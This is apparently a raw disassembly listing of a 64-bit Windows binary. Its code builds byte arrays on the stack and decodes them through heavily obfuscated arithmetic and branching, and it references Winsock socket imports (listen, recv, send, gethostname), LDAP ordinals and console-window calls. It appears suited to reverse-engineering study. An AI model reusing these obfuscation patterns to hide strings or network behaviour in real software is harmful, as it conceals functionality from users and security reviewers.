lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
sub r10b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x130], bl
inc rdi
jmp 0x1400c52e2
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 4
jb 0x1400c5725
lea edx, [r10 + 0x7c]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400c5ce4
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r8, 0x1000
jae 0x1400c5b7f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c5acd
lea edx, [r10 - 0x4c]
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c574d
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
lea rax, [r9 + r8]
cmp rax, 2
je 0x1400c5bc4
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400c59f8
lea edx, [r10 + 0x22]
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c578c
add r10b, 0x6c
movzx eax, r11b
and al, r10b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c5c01
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c5bd5
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c5d46
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x1400c5d49
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c5b99
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c52e2
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c52e2
lea edx, [r10 - 0x34]
mov ecx, gethostname
jmp 0x1400c5cd4
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400c595d
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
jmp 0x1400c57d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5983
add r10b, 0x24
movzx eax, r10b
and al, r11b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c5d77
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c59a6
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x14
jmp 0x1400c5bd5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c59d1
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x44
dec rdi
inc rdi
jmp 0x1400c52e2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c57dd
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5c
jmp 0x1400c5ce4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5a1f
lea edx, [r10 - 0x4a]
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400c5ce4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5a47
add r10b, 6
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x2a
add r8, r9
jmp 0x1400c5d49
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c5a6c
lea edx, [r10 + 0x2e]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x1400c5bd5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5a93
sub r10b, 0x3e
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x4e
add bl, r10b
jmp 0x1400c5c01
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c578c
add r10b, 0x56
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x5a
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5b07
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
inc rax
cmp r8, rax
jne 0x1400c5b2b
lea edx, [r10 + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x10
add bl, dl
jmp 0x1400c5bd5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5b50
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x1c
jmp 0x1400c5d49
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c574d
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x40
dec rdi
inc rdi
jmp 0x1400c52e2
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x70
add bl, r11b
add bl, dl
sub r10b, 0x26
movzx eax, r11b
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, bl
mov byte [rbp + rdi + 0x130], cl
add r8, r9
jmp 0x1400c5d49
lea ecx, [r10 - 0x5c]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x7c]
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 2
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x130], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x130], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
add r10b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x46
jmp 0x1400c5d49
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x22
dec rdi
inc rdi
jmp 0x1400c52e2
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xa
jmp 0x1400c5ce4
movzx r10d, dil
lea edx, [r10 - 2]
mov ecx, 7
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r10b, 0x46
movzx eax, r11b
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x130], cl
inc r9
dec rdi
inc rdi
jmp 0x1400c52e2
lea edx, [rdi - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
add r8, r9
jmp 0x1400c5d49
lea rcx, [rdi + r15]
movzx eax, cl
and al, sil
mov edx, Ordinal_41
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, r11b
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c52e2
lea rcx, [rdi + r12]
movzx eax, cl
and al, sil
mov edx, gethostname
sub dl, al
lea ebx, [rdx + rdx]
add bl, cl
add bl, r11b
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c52e2
sub r10b, 0xe
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c52e0
add r10b, 0x5e
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c52d0
mov eax, dword [rbp + 0x1450ce8]
jmp 0x1400c5de6
mov eax, dword [rbp + 0x116f0b2]
jmp 0x1400c5de6
mov eax, dword [rbp + 0x130]
cdqe
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.14005a290
mov rcx, rax
call fcn.14005a300
xor eax, eax
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.140198db0
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x230], 0x98
mov byte [rbp + 0x231], 0x82
mov byte [rbp + 0x232], 0xbb
mov byte [rbp + 0x233], 0xb7
mov byte [rbp + 0x234], 0xbd
mov byte [rbp + 0x235], 0x81
mov byte [rbp + 0x236], 0xfc
mov byte [rbp + 0x237], __WSAFDIsSet
mov byte [rbp + 0x238], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x239], 0xf9
mov byte [rbp + 0x23a], __WSAFDIsSet
mov byte [rbp + 0x23b], 0x84
mov byte [rbp + 0x23c], 0x88
mov byte [rbp + 0x23d], Ordinal_143
mov byte [rbp + 0x23e], Ordinal_143
mov byte [rbp + 0x23f], 0x9c
mov byte [rbp + 0x240], 0xf6
mov byte [rbp + 0x241], 0x9f
mov byte [rbp + 0x242], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x243], 0x81
mov byte [rbp + 0x244], 0x9f
mov byte [rbp + 0x245], __WSAFDIsSet
mov byte [rbp + 0x246], 0x9d
mov byte [rbp + 0x247], 0x99
mov byte [rbp + 0x248], 0xf4
mov byte [rbp + 0x249], 9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24a], xmm0
mov qword [rbp + 0x25a], rax
mov byte [rbp + 0x262], al
movabs rsi, 0x5a1b5f0ca7fa375b
movabs r15, 0xc288db3f47e314c7
movabs r14, 0xe521d25f7eea611
movzx ebx, byte [rsp + 0x31]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c6a40
movzx r11d, byte [rbp + rdi + 0x230]
mov edx, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c6a37
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c5f8b
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x7d
jmp 0x1400c5fb7
je 0x1400c69cf
inc rax
cmp r8, rax
je 0x1400c697a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6924
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c68de
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400c6a2e
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1400c5fe9
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x41
jmp 0x1400c6020
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c68c7
inc rax
cmp r8, rax
je 0x1400c68b0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6894
cmp r8, rcx
je 0x1400c684f
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400c656f
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c6551
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c6528
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c6502
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c64e4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c64c4
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c64a4
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c6486
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c6466
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c6435
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c6030
lea r8, [r9 + 8]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c6a12
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c69f6
lea rcx, [r9 + 2]
cmp r8, rcx
jb 0x1400c6216
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c61fc
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c61e2
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c63ee
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c63ab
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c6370
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c634a
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c6030
mov r8, rcx
lea r9, [rcx + 0x400]
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400c631d
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400c6301
lea rcx, [r9 + 0x7a]
cmp r8, rcx
ja 0x1400c62e7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c62cb
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c62af
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c6295
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c6273
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c624e
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c6232
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c6030
mov r8, rcx
lea r9, [rcx + 0x41]
jmp 0x1400c6030
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x21
jmp 0x1400c6020
lea ecx, [r10 - 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x1b
jmp 0x1400c5fc0
sub r10b, 3
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x15
jmp 0x1400c5f60
lea edx, [r10 - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 8
add bl, dl
jmp 0x1400c68f7
add r10b, 2
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0xe
inc r9
dec rdi
inc rdi
jmp 0x1400c5f43
add r10b, 0x4c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x14
dec rdi
inc rdi
jmp 0x1400c5f43
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1a
jmp 0x1400c693d
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
jmp 0x1400c695f
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x26
jmp 0x1400c6962
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2c
jmp 0x1400c6864
sub r10b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x32
jmp 0x1400c698b
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x38
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
add r10b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x39
mov byte [rbp + rdi + 0x230], bl
inc rdi
jmp 0x1400c5f43
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x33
cmp r9, 9
jb 0x1400c6361
lea ecx, [r10 + 0x42]
movzx eax, cl
and al, r11b
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea ebx, [rdx + rdx]
jmp 0x1400c68f7
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x2d
cmp r8, 0x40
jae 0x1400c681a
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400c6733
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xa
jmp 0x1400c6385
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x27
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x1400c6837
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c6663
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x37
jmp 0x1400c63c0
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
add r10b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c698b
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c6864
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c6962
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c695f
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c693d
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c5f43
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c5f43
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c68f7
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c6592
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x7d
jmp 0x1400c6403
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c65cc
sub r10b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
inc rax
cmp r8, rax
jne 0x1400c65ee
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x76
jmp 0x1400c6864
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c6611
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x64
jmp 0x1400c693d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c663c
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5e
dec rdi
inc rdi
jmp 0x1400c5f43
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c6403
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x52
jmp 0x1400c68f7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6686
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x3d
jmp 0x1400c68f7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c66b1
sub r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x49
dec rdi
inc rdi
jmp 0x1400c5f43
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c66d6
add r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x55
jmp 0x1400c695f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c66f9
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x61
jmp 0x1400c6864
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c63c0
add r10b, 0x15
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x6d
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6769
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 4
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6792
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c695f
cmp r8, rcx
jne 0x1400c67b5
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c693d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c67e4
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c5f43
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c6385
sub r10b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c5f43
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x1c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c693d
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c6864
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x17
add r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x3f
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0x230], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400c698b
sub r10b, 0x45
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1d
jmp 0x1400c6962
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x29
jmp 0x1400c693d
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3b
jmp 0x1400c68f7
movzx r10d, dil
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x47
sub r10b, 0x63
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x4b
add r11b, r10b
mov byte [rbp + rdi + 0x230], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c5f43
movzx r10d, dil
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x59
add r10b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x45
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x230], r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c5f43
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0x71
lea edx, [rdi + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x230], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0x77
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5f43
add r10b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0xf
jmp 0x1400c5f40
sub r10b, 0x6f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 9
jmp 0x1400c5f30
lea rdx, [rbp + 0x15d3354]
jmp 0x1400c6a47
lea rdx, [rbp + 0x1176aaf]
jmp 0x1400c6a47
lea rdx, [rbp + 0x230]
mov rcx, qword [0x14023cdc8]
call fcn.1400c7f00
mov rsi, qword [0x14023cdc8]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x560], 0x53
mov byte [rbp + 0x561], Ordinal_143
mov byte [rbp + 0x562], 0x85
mov byte [rbp + 0x563], 0x9e
mov byte [rbp + 0x564], __WSAFDIsSet
mov byte [rbp + 0x565], 0x9b
mov byte [rbp + 0x566], __WSAFDIsSet
mov byte [rbp + 0x567], reloc.WS2_32.dll_WSAGetLastError
